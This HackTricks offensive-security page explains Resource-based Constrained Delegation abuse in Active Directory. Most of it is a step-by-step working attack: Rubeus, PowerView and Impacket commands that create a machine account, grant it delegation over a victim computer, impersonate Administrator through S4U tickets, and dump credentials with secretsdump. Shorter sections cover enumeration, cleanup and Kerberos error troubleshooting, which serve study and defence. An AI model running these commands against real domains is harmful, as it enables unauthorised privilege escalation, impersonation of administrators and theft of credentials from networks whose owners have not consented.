Resource-based Constrained Delegation
Reading time: 10 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basics of Resource-based Constrained Delegation
This is similar to the basic Constrained Delegation but instead of giving permissions to an object to impersonate any user against a machine. Resource-based Constrain Delegation sets in the object who is able to impersonate any user against it.
In this case, the constrained object will have an attribute called msDS-AllowedToActOnBehalfOfOtherIdentity with the name of the user that can impersonate any other user against it.
Another important difference from this Constrained Delegation to the other delegations is that any user with write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) can set the msDS-AllowedToActOnBehalfOfOtherIdentity (In the other forms of Delegation you needed domain admin privs).
New Concepts
Back in Constrained Delegation it was told that the TrustedToAuthForDelegation
flag inside the userAccountControl value of the user is needed to perform a S4U2Self. But that's not completely truth.
The reality is that even without that value, you can perform a S4U2Self against any user if you are a service (have a SPN) but, if you have TrustedToAuthForDelegation
the returned TGS will be Forwardable and if you don't have that flag the returned TGS won't be Forwardable.
However, if the TGS used in S4U2Proxy is NOT Forwardable trying to abuse a basic Constrain Delegation it won't work. But if you are trying to exploit a Resource-Based constrain delegation, it will work.
Attack structure
If you have write equivalent privileges over a Computer account you can obtain privileged access in that machine.
Suppose that the attacker has already write equivalent privileges over the victim computer.
- The attacker compromises an account that has a SPN or creates one (“Service A”). Note that any Admin User without any other special privilege can create up until 10 Computer objects (MachineAccountQuota) and set them a SPN. So the attacker can just create a Computer object and set a SPN.
- The attacker abuses its WRITE privilege over the victim computer (ServiceB) to configure resource-based constrained delegation to allow ServiceA to impersonate any user against that victim computer (ServiceB).
- The attacker uses Rubeus to perform a full S4U attack (S4U2Self and S4U2Proxy) from Service A to Service B for a user with privileged access to Service B.
- S4U2Self (from the SPN compromised/created account): Ask for a TGS of Administrator to me (Not Forwardable).
- S4U2Proxy: Use the not Forwardable TGS of the step before to ask for a TGS from Administrator to the victim host.
- Even if you are using a not Forwardable TGS, as you are exploiting Resource-based constrained delegation, it will work.
- The attacker can pass-the-ticket and impersonate the user to gain access to the victim ServiceB.
To check the MachineAccountQuota of the domain you can use:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
Attack
Creating a Computer Object
You can create a computer object inside the domain using powermad:
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
Configuring Resource-based Constrained Delegation
Using activedirectory PowerShell module
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
Using powerview
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
Performing a complete S4U attack (Windows/Rubeus)
First of all, we created the new Computer object with the password 123456
, so we need the hash of that password:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
This will print the RC4 and AES hashes for that account.
Now, the attack can be performed:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
You can generate more tickets for more services just asking once using the /altservice
param of Rubeus:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
caution
Note that users have an attribute called "Cannot be delegated". If a user has this attribute to True, you won't be able to impersonate him. This property can be seen inside bloodhound.
Linux tooling: end-to-end RBCD with Impacket (2024+)
If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools:
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
# 2) Grant RBCD on the target computer to FAKE01$
# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
# 4) Use the ticket (ccache) against the target service
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
Notes
- If LDAP signing/LDAPS is enforced, use
impacket-rbcd -use-ldaps ...
. - Prefer AES keys; many modern domains restrict RC4. Impacket and Rubeus both support AES-only flows.
- Impacket can rewrite the
sname
("AnySPN") for some tools, but obtain the correct SPN whenever possible (e.g., CIFS/LDAP/HTTP/HOST/MSSQLSvc).
Accessing
The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:
ls \\victim.domain.local\C$
Abuse different service tickets
Learn about the available service tickets here.
Enumerating, auditing and cleanup
Enumerate computers with RBCD configured
PowerShell (decoding the SD to resolve SIDs):
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
ForEach-Object {
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
$sd.DiscretionaryAcl | ForEach-Object {
$sid = $_.SecurityIdentifier
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
}
}
Impacket (read or flush with one command):
# Read who can delegate to VICTIM
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
Cleanup / reset RBCD
- PowerShell (clear the attribute):
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
# Or using the friendly property
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
- Impacket:
# Remove a specific principal from the SD
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
# Or flush the whole list
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
Kerberos Errors
KDC_ERR_ETYPE_NOTSUPP
: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example:[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
KRB_AP_ERR_SKEW
: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly.preauth_failed
: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
)KDC_ERR_BADOPTION
: This may mean:- The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges)
- The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running)
- The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back.
- You are abusing classic KCD; remember RBCD works with non-forwardable S4U2Self tickets, while KCD requires forwardable.
Notes, relays and alternatives
- You can also write the RBCD SD over AD Web Services (ADWS) if LDAP is filtered. See:
- Kerberos relay chains frequently end in RBCD to achieve local SYSTEM in one step. See practical end-to-end examples:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object
- https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
- https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61
- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.